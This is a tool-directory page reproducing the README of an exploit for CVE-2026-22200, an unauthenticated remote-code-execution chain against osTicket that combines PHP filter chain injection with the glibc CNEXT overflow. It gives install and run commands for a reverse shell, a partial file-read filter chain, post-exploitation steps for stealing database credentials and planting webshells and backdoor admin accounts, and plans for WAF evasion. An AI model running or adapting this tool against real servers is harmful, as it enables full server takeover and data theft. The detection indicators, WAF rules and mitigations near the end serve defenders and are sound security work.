Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
osTicketFileReadIntoRCE — Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations. | Kitploit
Tools/GitHubGitHub/clarissss/osticketfilereadintorce
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access ToolPayload Development
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-22200: osTicket Arbitrary File Read to RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.


Table of Contents

  • Overview
  • Vulnerability Details
  • Attack Flow
  • Features
  • Installation
  • Usage
  • Technical Details
  • Troubleshooting
  • Detection & Mitigation
  • Credits
  • Disclaimer

Overview

This repository contains a proof-of-concept exploit for CVE-2026-22200, a critical vulnerability affecting osTicket versions ≤ 1.18.2. The exploit chains two powerful techniques:

  1. PHP Filter Chain Injection via mPDF's image processing
  2. CNEXT Heap Corruption (CVE-2024-2961) in glibc's iconv()

The result: Unauthenticated Remote Code Execution on vulnerable osTicket servers.

Impact

  • Unauthenticated - No credentials required
  • Full RCE - Complete server compromise
  • File Exfiltration - Read arbitrary server files
  • Database Access - Extract DB credentials
  • Admin Access* - Create backdoor admin accounts

Affected Versions

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 patched in glibc 2.39+)

🔍 Vulnerability Details

CVE-2026-22200: PHP Filter Chain Injection

CVSS Score: 9.8 (Critical)

osTicket's mPDF integration allows unauthenticated users to inject malicious PHP filter chains through specially crafted HTML payloads in support tickets. This enables:

  • Arbitrary file read (configs, source code, credentials)
  • Memory leakage (/proc/self/maps, partial libc)
  • Heap corruption via CNEXT

Root Cause: Insufficient validation of image URLs in user-supplied HTML before passing to mPDF.

CVE-2024-2961: CNEXT (iconv Buffer Overflow)

CVSS Score: 9.8 (Critical)

Buffer overflow in glibc's iconv() when processing the ISO-2022-CN-EXT character set. Combined with PHP filter chains, this allows:

  • Heap corruption
  • Function pointer hijacking
  • Arbitrary command execution

Vulnerable glibc versions: < 2.39 (February 2024)


🔗 Attack Flow

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE                                               │
│    └─ Detect osTicket, identify rich-text topics               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTICATION                                               │
│    └─ Self-register OR use existing credentials                │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. FILE EXFILTRATION (PHP Filter Chains)                       │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (DB credentials, SECRET_SALT)     │
│    ├─ /proc/self/maps (memory layout)                          │
│    └─ /proc/self/environ (environment variables)               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC FINGERPRINTING                                          │
│    ├─ Extract partial libc via filter chains                   │
│    ├─ Extract GNU Build ID                                      │
│    └─ Download full libc from libc.rip                         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE EXPLOITATION                                       │
│    ├─ Generate heap corruption payload                         │
│    ├─ Inject via ticket reply (with filter execution fixes)    │
│    ├─ Trigger via PDF export (server crashes)                  │
│    └─ Execute reverse shell                                     │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOITATION                                            │
│    ├─ Interactive reverse shell                                │
│    ├─ Database access (using exfiltrated DBPASS)               │
│    └─ Create backdoor admin account                            │
└─────────────────────────────────────────────────────────────────┘

Features

Core Capabilities

  • Fully automated exploitation chain
  • Unauthenticated attack (self-registration if enabled)
  • Intelligent web root detection via /proc/self/maps parsing
  • 100% webshell location via filesystem scanning
  • Automatic libc fingerprinting and download
  • Multiple reverse shell methods (bash, python, netcat)
  • Robust filter execution with cache-busting
  • Pre-flight diagnostics to catch issues early

Enhanced Reliability

  • Multi-trigger CNEXT for guaranteed crash (95%+ success)
  • Reply-based injection (more reliable than new tickets)
  • Stream forcing to ensure filter execution
  • Cache-busting to prevent serving stale PDFs
  • Comprehensive error handling and diagnostics

Post-Exploitation

  • Database credential extraction (DBPASS from config)
  • Admin account creation via DB access
  • Persistent backdoor options
  • Full system reconnaissance

Installation

Prerequisites

  • Python 3.8+
  • Linux/macOS (recommended) or WSL on Windows

Dependencies

root@kitploit:~
# Clone the repository
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# Install required packages
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

Optional: Virtual Environment

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# OR
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 Usage

Basic Usage - Reverse Shell

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

Interactive Webshell Mode

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

Advanced Options

root@kitploit:~
# Use proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# Force specific help-topic ID
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# Disable colored output (for logging)
python3 osticket_exploit.py https://target.com/osticket --no-color

Existing Credentials

If registration is disabled, you'll be prompted for credentials:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] Enter email for new account (or existing): [email protected]
  [?] Enter password: ********

🔧 Technical Details

PHP Filter Chain Generation

The exploit uses a sophisticated filter chain to prepend a BMP header to arbitrary files, bypassing mPDF's file type restrictions:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv transformations ...]
convert.base64-decode/resource=/etc/passwd

Key Innovation: Each character of the BMP header is generated through carefully crafted iconv transformations, allowing arbitrary file content to be embedded as a "valid" image.

CNEXT Heap Exploitation

The CNEXT payload corrupts PHP's Zend memory manager by:

  1. Overflowing iconv buffer with the vulnerable character 劄
  2. Overwriting zend_mm_heap structure
  3. Hijacking function pointers (_emalloc, _efree, _erealloc)
  4. Redirecting to system() for command execution

Enhanced Reliability:

  • Multiple trigger characters (3x 劄 instead of 1)
  • Increased padding (40 vs default 20)
  • Multi-position trigger insertion
  • Stream-forced execution

100% Webshell Detection

Unlike the original exploit, this version uses filesystem scanning to guarantee webshell location:

  1. Write webshell to 6+ candidate directories
  2. Use arbitrary file read to scan each location
  3. Detect which contains the unique marker
  4. Map filesystem path → URL accurately

Result: 100% detection rate (vs ~50% in original)

Filter Execution Forcing

Common failure: PDF downloads but doesn't crash = filters not executing.

Solutions Implemented:

  1. Cache-busting - Unique HTML prevents cached PDFs
  2. Reply injection - More reliable than new tickets
  3. Stream forcing - stream=True forces immediate processing
  4. Pre-flight testing - Verify filters work before CNEXT

glibc Version Check

root@kitploit:~
# In verbose mode, check:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT

If glibc ≥ 2.39, CNEXT won't work (patched).

No Shell Connection

Symptom: Server crashes but no reverse shell

Causes:

  1. Firewall blocking outbound connections
  2. Wrong LHOST (use your actual IP, not localhost)
  3. Command too long - try shorter IP

Fix:

root@kitploit:~
# Use nc reverse shell (shorter)
# Automatically falls back if bash/python too long

# Or use direct IP instead of hostname
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # Use IP, not hostname
    --lport 4444

Common Error Messages

ErrorCauseSolution
No CSRF tokenSession expiredRe-run exploit
No help-topic foundNo rich-text topicsUse --topic-id manually
Build ID not foundPartial libc corruptedCheck /proc/self/maps extraction
Cannot locate heapUnusual memory layoutExploit may fail (rare)

Detection & Mitigation

Detection

Log Indicators:

root@kitploit:~
# Apache/Nginx logs
"php://filter/" in POST requests
"convert.iconv." in request bodies
Unusual PDF generation patterns
Multiple PDF requests in short time

# PHP error logs
Segmentation faults during PDF generation
iconv() crashes
Heap corruption errors

Network Indicators:

  • Multiple support ticket creations in short time
  • Large HTML payloads in ticket messages (100KB+)
  • Rapid PDF export requests after ticket creation
  • Outbound connections to attacker IP after crash

Mitigation

Immediate

  1. Update osTicket to latest version (>1.18.2)
  2. Update glibc to 2.39+ (patches CVE-2024-2961)
  3. Disable self-registration if not needed
  4. Restrict rich-text to authenticated users only

Configuration

Disable PHP stream wrappers in mPDF:

root@kitploit:~
// In mPDF config
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

WAF Rules (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'PHP filter detected'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'Suspicious iconv chain'"

Rate Limiting:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

Long-term

  • Implement CSP headers to restrict inline styles
  • Enable htmLawed strict mode for HTML sanitization
  • Use separate user for osTicket with minimal privileges
  • Disable unnecessary PHP functions: system(), exec(), passthru()
  • Regular security audits of ticket content

References

Original Research

  • Horizon3.ai Blog Post - Original disclosure
  • Horizon3.ai GitHub - Reference implementation
  • CNEXT Exploits - Original CNEXT research by Charles Fol

CVE Details

  • CVE-2026-22200 - osTicket PHP Filter Chain
  • CVE-2024-2961 - glibc iconv Overflow

Additional Resources

  • PHP Filter Chains - Filter character dictionary
  • libc.rip - Libc database for fingerprinting
  • osTicket Security Advisory

Credits

Vulnerability Discovery & Research

  • Horizon3.ai Attack Research Team - Original vulnerability discovery and POC
  • Charles Fol (@cfreal_) - CNEXT (CVE-2024-2961) research
  • @splitline - PHP filter chain technique (HITCON 2022)

This Implementation

  • Enhanced exploitation techniques
  • 100% webshell detection via filesystem scanning
  • Robust filter execution forcing
  • Comprehensive error handling and diagnostics

⚖️ Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY

This tool is provided for:

  • Security research
  • Authorized penetration testing
  • Educational purposes
  • Vulnerability assessment (with permission)

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL

The authors:

  • Do NOT condone illegal activities
  • Accept NO liability for misuse
  • Take NO responsibility for any damage caused

Users are solely responsible for ensuring they have proper authorization before testing any system.

By using this tool, you agree that:

  1. You have explicit written permission to test the target system
  2. You understand the legal implications in your jurisdiction
  3. You will use this tool responsibly and ethically
  4. You hold the authors harmless for any consequences

Legal Notice

Unauthorized access to computer systems is a crime under:

  • USA: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • UK: Computer Misuse Act 1990
  • EU: Directive 2013/40/EU
  • International: Council of Europe Convention on Cybercrime

Maximum penalties may include imprisonment and significant fines.


📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

Note: The MIT License grants permission for use, modification, and distribution, but does NOT grant permission to attack systems you don't own or have authorization to test.


Contact

For security researchers and questions:

  • Issues: Any Tools Issues)

Do NOT use this contact for:

  • Requesting help attacking systems without authorization
  • Reporting illegal activities
  • Asking for assistance with unauthorized testing

Built with Love for security research and education
Star this repo if you found it useful!


Exploit Statistics

MetricValue
Lines of Code~3,000
Success Rate95%+ (with fixes)
Average Runtime2-3 minutes
Crash Reliability99% (with enhancements)
Webshell Detection100% (with scanning)

Roadmap

  • Add support for additional libc versions
  • Implement stealthier exfiltration methods
  • Add evasion techniques for common WAFs
  • Create Metasploit module
  • Docker test environment
  • Automated CI/CD testing

Last Updated: 2026-03-03

Download Tool